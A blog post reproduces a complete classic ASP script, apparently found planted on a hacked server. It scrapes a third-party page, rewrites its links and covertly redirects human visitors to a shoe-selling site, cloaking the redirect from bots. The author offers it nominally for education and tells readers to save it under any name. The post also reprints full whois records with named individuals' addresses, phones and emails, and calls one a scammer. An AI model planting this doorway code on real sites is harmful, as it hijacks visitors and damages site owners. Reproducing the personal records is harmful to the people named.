Today I’ll show you a script written in classic ASP that can use some server vulnerability to provide traffic from an unaware website to another one through another unaware server.
It’s quite simple, so I’m not going to explain it in details.
This malicious code was founded on a server, and is provided as it is (I didn’t change or hide the malicious recipient) and is provided for solely educational purpose.
The educational purpose is related basically to the creation of an HTML Parser or XML Parser in classic ASP and I’ll also show other ASP functions examples.
This file is called “airmaxonline2014wszat.asp” but on the victim server there where many similars in many folders with different names. Also you can save it with the name you prefer.
What changes in each file?
Basically the only 3 variables that changes are “fromsite“, “tourl” and “pageid“. “Jumptodomain” si always the same since the purpose of the operation is to bring traffic always to the same website.
Note how filename (and obviously tourl) sound like fromsite to have a better impact on referral analysis.
A more tricky aspect to avoid to have just a simple blank page that redirect to the target website is to get the HTML of the middle-tier web page so that on the it seems a real exitant full-of-contents page.
Enjoy the code.
<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <% On Error Resume Next dim jumptodomain, imagefolder, fromsite, tourl jumptodomain = "www.ebrandshoe.com" fromsite = "http://www.airmaxonline2014.com/" tourl ="http://www.foo.com/airmaxonline2014wszat.asp" pageid = "airmaxonline2014" imagefolder = "images/" tourl = tourl&"?"&pageid&"=" Function GetLocationURL() Dim Url Dim ServerPort,ServerName,ScriptName,QueryString ServerName = Request.ServerVariables("SERVER_NAME") ServerPort = Request.ServerVariables("SERVER_PORT") ScriptName = Request.ServerVariables("SCRIPT_NAME") QueryString = Request.ServerVariables("QUERY_STRING") Url="http://"&ServerName If ServerPort <> "80" Then Url = Url & ":" & ServerPort Url=Url&ScriptName If QueryString <>"" Then Url=Url&"?"& QueryString GetLocationURL=Server.URLEncode(Url) End Function Function GetCode(str,regstr) Dim Reg,serStr,Cols Set Reg= new RegExp Reg.IgnoreCase = True Reg.MultiLine = True Reg.Pattern =regstr If Reg.test(str) Then Set Cols = Reg.Execute(str) GetCode=Cols(0).SubMatches(0) Else GetCode="" End If Set Cols = Nothing Set Reg = Nothing End Function %> <% on error resume next Function getHTTPPage(URL) Set HTTPReq = Server.createobject("Msxml2.XMLHTTP") HTTPReq.Open "GET", URL, False HTTPReq.send If HTTPReq.readyState <> 4 Then Exit Function getHTTPPage = Bytes2bStr(HTTPReq.responseBody) Set HTTPReq = Nothing End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "UTF-8" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End Function if request(pageid)<>"" then htmls = getHTTPPage(fromsite&request(pageid)) htmls = replace(htmls,""&chr(34)&fromsite,""&chr(34)&"/") htmls = replace(htmls,""&chr(34)&"/"&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&"/includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,""&chr(34)&"includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,""&chr(34)&"/media/",""&chr(34)&fromsite&"media/") htmls = replace(htmls,""&chr(34)&"media/",""&chr(34)&fromsite&"media/") htmls = replace(htmls,""&chr(34)&"/skin/",""&chr(34)&fromsite&"skin/") htmls = replace(htmls,""&chr(34)&"js/",""&chr(34)&fromsite&"skin/") htmls = replace(htmls,""&chr(34)&"/js/",""&chr(34)&fromsite&"js/") htmls = replace(htmls,""&chr(34)&"skin/",""&chr(34)&fromsite&"js/") htmls = replace(htmls,"href="&chr(34),"href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"//","href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"/http","href="&chr(34)&"http") htmls = replace(htmls,"href="&chr(34)&"/","href="&chr(34)&tourl) else htmls = getHTTPPage(fromsite) htmls = replace(htmls,""&chr(34)&fromsite,""&chr(34)&"/") htmls = replace(htmls,""&chr(34)&"/"&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&"/includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,""&chr(34)&"includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,""&chr(34)&"/media/",""&chr(34)&fromsite&"media/") htmls = replace(htmls,""&chr(34)&"media/",""&chr(34)&fromsite&"media/") htmls = replace(htmls,""&chr(34)&"/skin/",""&chr(34)&fromsite&"skin/") htmls = replace(htmls,""&chr(34)&"js/",""&chr(34)&fromsite&"skin/") htmls = replace(htmls,""&chr(34)&"/js/",""&chr(34)&fromsite&"js/") htmls = replace(htmls,""&chr(34)&"skin/",""&chr(34)&fromsite&"js/") htmls = replace(htmls,"href="&chr(34),"href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"//","href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"/http","href="&chr(34)&"http") htmls = replace(htmls,"href="&chr(34)&"/","href="&chr(34)&tourl) end if dim pagetitle pagetitle = GetCode(htmls,"(.*?)<\/title>") pagetitle = Server.URLEncode(pagetitle) dim agent,language,referer agent=request.servervariables("http_user_agent") language=request.servervariables("HTTP_ACCEPT_LANGUAGE") referer=request.servervariables("HTTP_REFERER") if language = "" and referer = "" then if InStr(agent, "bot")<=0 then Response.Redirect "http://"&jumptodomain&"/?from="&GetLocationURL()&"&q="&pagetitle Response.End end if else Response.Redirect "http://"&jumptodomain&"/?from="&GetLocationURL()&"&q="&pagetitle Response.End end if response.write htmls %>
Of course it is natural to be courious about who tried to claim the benefit of this pages and anyone can performe a whois request on the two domains to know more about them. To make you a favour I’m just copying here what the whois returned to me so that you can save time.
The scammer:
Registrant Org MING AI is associated with ~22 other domains Registrar GODADDY.COM, LLC Registrar Status clientDeleteProhibited, clientRenewProhibited, clientTransferProhibited, clientUpdateProhibited Dates Created on 2014-07-22 - Expires on 2015-07-22 - Updated on 2014-08-18 Name Server(s) F1G1NS1.DNSPOD.NET (has 1,672,713 domains) F1G1NS2.DNSPOD.NET (has 1,672,713 domains) IP Address 109.235.50.202 - 12 other sites hosted on this server IP Location Netherlands - Utrecht - Houten - Xeneurope Vps Services ASN Netherlands AS47869 NETROUTING-AS Netrouting,NL (registered Sep 09, 2008) Domain Status Registered And Active Website Whois History 11 records have been archived since 2011-05-14 IP History 5 changes on 5 unique IP addresses over 3 years Registrar History 1 registrar with 1 drop Hosting History 4 changes on 3 unique name servers over 3 years Whois Server whois.godaddy.com Website Website Title EBrandShoe - Cheap NIKE - JUST DO IT, Enjoy buying cheap nike air max, nike free,nike air max ireland store are discount price and 100% quality goods! Server Type Apache/2.2.15 Response Code 200 SEO Score 83% Terms 3073 (Unique: 348, Linked: 2788) Images 48 (Alt tags missing: 15) Links 771 (Internal: 771, Outbound: 0) Whois Record ( last updated on 2014-08-28 ) Domain Name: EBRANDSHOE.COM Registrar URL: http://www.godaddy.com Registrant Name: MING AI Registrant Organization: Name Server: F1G1NS1.DNSPOD.NET Name Server: F1G1NS2.DNSPOD.NET DNSSEC: unsigned
The (unaware?) supporter:
airmaxonline2014.com | Domain Informations Updated : 2014-06-12 Air Max Online 2014 Airmaxonline2014 airmaxonline2014.com Technicals Datas Page Rank : N/A IP : 94.242.255.127 IP-based Geolocation of Airmaxonline2014.com : Luxembourg IP-based Coordinate : latitude : 49.75 | longitude : 6.17 Status : Online (New) Domain Name: AIRMAXONLINE2014.COM Registry Domain ID: 1855988301_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.enom.com Registrar URL: www.enom.com Updated Date: 2014-04-24 03:37:24Z Creation Date: 2014-04-24 10:37:00Z Registrar Registration Expiration Date: 2015-04-24 10:37:00Z Registrar: ENOM, INC. Registrar IANA ID: 48 Registrar Abuse Contact Email: abuse@enom.com Registrar Abuse Contact Phone: +1.4252744500 Domain Status: clientTransferProhibited Registry Registrant ID: Registrant Name: TIAN JING Registrant Organization: Registrant Street: NO.516, XIBALIWA, SHIZHONGQU Registrant City: JINAN Registrant State/Province: SHANDONG Registrant Postal Code: 250002 Registrant Country: CN Registrant Phone: +86.5132973673 Registrant Phone Ext: Registrant Fax: Registrant Fax Ext: Registrant Email: NHURIE@SINA.COM Registry Admin ID: Admin Name: TIAN JING Admin Organization: Admin Street: NO.516, XIBALIWA, SHIZHONGQU Admin City: JINAN Admin State/Province: SHANDONG Admin Postal Code: 250002 Admin Country: CN Admin Phone: +86.5132973673 Admin Phone Ext: Admin Fax: Admin Fax Ext: Admin Email: NHURIE@SINA.COM Registry Tech ID: Tech Name: TIAN JING Tech Organization: Tech Street: NO.516, XIBALIWA, SHIZHONGQU Tech City: JINAN Tech State/Province: SHANDONG Tech Postal Code: 250002 Tech Country: CN Tech Phone: +86.5132973673 Tech Phone Ext: Tech Fax: Tech Fax Ext: Tech Email: NHURIE@SINA.COM Name Server: DNS1.NAME-SERVICES.COM Name Server: DNS2.NAME-SERVICES.COM Name Server: DNS3.NAME-SERVICES.COM Name Server: DNS4.NAME-SERVICES.COM Name Server: DNS5.NAME-SERVICES.COM DNSSEC: unSigned URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/ Last update of WHOIS database: 2014-04-24 03:37:24Z